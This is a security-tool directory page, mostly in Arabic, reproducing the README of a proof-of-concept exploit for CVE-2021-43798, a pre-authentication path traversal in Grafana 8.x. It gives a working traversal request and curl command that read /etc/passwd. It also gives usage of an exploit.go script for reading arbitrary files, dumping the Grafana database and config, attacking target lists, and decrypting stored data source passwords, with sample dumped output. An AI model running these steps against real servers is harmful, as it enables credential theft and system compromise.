Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-43798 — CVE-2021-43798 - Grafana 8.x اجتياز المسار (قبل المصادقة) | Kitploit
أدوات/GitHubGitHub/taythebot/cve-2021-43798
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقالتعلم والتعليم
GitHubtaythebot/cve-2021-43798

CVE-2021-43798

CVE-2021-43798 - Grafana 8.x اجتياز المسار (قبل المصادقة)

عرض المستودع
4181منذ 4 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-43798

Grafana 8.x Path Traversal (Pre-Auth)

كل الفضل يعود إلى j0v وتغريدته https://twitter.com/j0v0x0/status/1466845212626542607

إخلاء مسؤولية

هذا لأغراض تعليمية فقط. لست مسؤولاً عن أفعالك. استخدمه على مسؤوليتك الخاصة.

بحسن نية، امتنعت عن نشر هذا الـ PoC حتى يصبح هذا الثغر الأمني عاماً أو يتوفر تصحيح.

جدول المحتويات

  • الشرح - شرح الثغرة الأمنية
  • نواقل الهجوم - قائمة الهجمات التي يمكنك تنفيذها
  • سكربت الاستغلال - طريقة استخدام سكربت الاستغلال

الشرح

لاحظت تغريدة من j0v يدّعي فيها اكتشاف ثغرة path traversal في Grafana. بدافع الفضول، بدأت بالنظر في الكود المصدري لـ Grafana. في التغريدة، ذُكر أنها ثغرة pre-auth. هناك فقط عدد قليل من نقاط نهاية الـ API العامة في Grafana، وواحدة فقط من هذه النقاط تأخذ مسار ملف من المستخدم.

لدى Grafana نقطة نهاية API عامة، /public/plugins/:pluginId، والتي تسمح لك بعرض أصول إضافة (plugin). يعمل هذا من خلال توفير :pluginId صالح ومن ثم تحديد مسار الملف، مثل img/logo.png. ومع ذلك، يفشل Grafana في تنظيف مسار الملف المقدم من المستخدم، مما يؤدي إلى path traversal.

الدليل الذي يتم الوصول إليه هو <grafana>/public/app/plugins/panel/<pluginId>. في تثبيت Grafana القياسي، دليل بيانات Grafana هو /usr/share/grafana. لذا من خلال الرجوع 8 أدلة، يمكنك الوصول إلى الدليل الجذر لملفات النظام.

طلب HTTP:

root@kitploit:~
GET -  http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

الكود المخالف: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284

ملاحظة: هذا لا يعمل في المتصفح (الذي يقوم تلقائياً بدمج ../ في المسار)

يمكن اختباره باستخدام curl عبر الوسيط --path-as-is:

root@kitploit:~
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

نواقل الهجوم

هذه بعض الهجمات التي يمكن تنفيذها باستخدام هذه الثغرة الأمنية

تفريغ قاعدة بيانات Sqlite

يستخدم Grafana، افتراضياً، قاعدة بيانات sqlite3. يتم تخزينها في /var/lib/grafana/grafana.db. يمكنك استخدام سكربت exploit.go لتفريغ هذه القاعدة

مثال:

root@kitploit:~
go run exploit.go -target http://localhost:3000 -dump-database -output grafana.db

يمكنك بعد ذلك قراءة هذه القاعدة للحصول على المستخدمين، ورموز المصادقة، ومصادر البيانات.

تفريغ ملف الإعدادات defaults.ini

يخزن Grafana إعداداته في ملف <grafana>/conf/defaults.ini. هناك بضع قيم مثيرة للاهتمام هنا مثل secret_key, host user password إذا كنت تستخدم mysql بدلاً من sqlite3.

مثال:

root@kitploit:~
go run exploit.go -target http://localhost:3000 -dump-config -output defaults.ini

المرجع: https://grafana.com/docs/grafana/latest/administration/configuration/

فك تشفير كلمات مرور مصادر البيانات

يقوم Grafana بتشفير جميع كلمات مرور مصادر البيانات باستخدام AES-256-CBC وباستخدام secret_key في ملف إعدادات defaults.ini. يمكننا تفريغ ملف الإعدادات هذا، كما هو موضح أعلاه، ومن ثم فك تشفير القيم من القاعدة.

المرجع: https://grafana.com/docs/grafana/latest/administration/configuration/#secret_key

الاستيلاء على الجلسة

يخزن Grafana رموز الجلسة في الجدول auth_tokens. لم أتمكن من الاستيلاء على جلسة، لكن إذا قرأت الكود المصدري، يمكنك اكتشاف كيفية ذلك.

سكربت الاستغلال

مثال

root@kitploit:~
root@localhost:/# go run exploit.go -target http://localhost:3000 -file /etc/passwd
CVE-2021-43798  - Grafana 8.x Path Traversal (Pre-Auth)
Made by Tay (https://github.com/taythebot)

[INFO] Exploiting target http://localhost:3000
[INFO] Successfully exploited target http://localhost:3000
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

هدف واحد

root@kitploit:~
go run exploit.go -target <target> -file <path>

الإخراج إلى ملف

root@kitploit:~
go run exploit.go -target <target> -file <path> -output <file>

ملاحظة: لا يعمل مع أهداف متعددة

أهداف متعددة

root@kitploit:~
go run exploit.go -list <list> -file <path>

تفريغ defaults.ini

root@kitploit:~
go run exploit.go -target <target> -dump-config

تفريغ قاعدة بيانات sqlite3

root@kitploit:~
go run exploit.go -target <target> -dump-database

البناء

root@kitploit:~
make build
تنزيل الأداة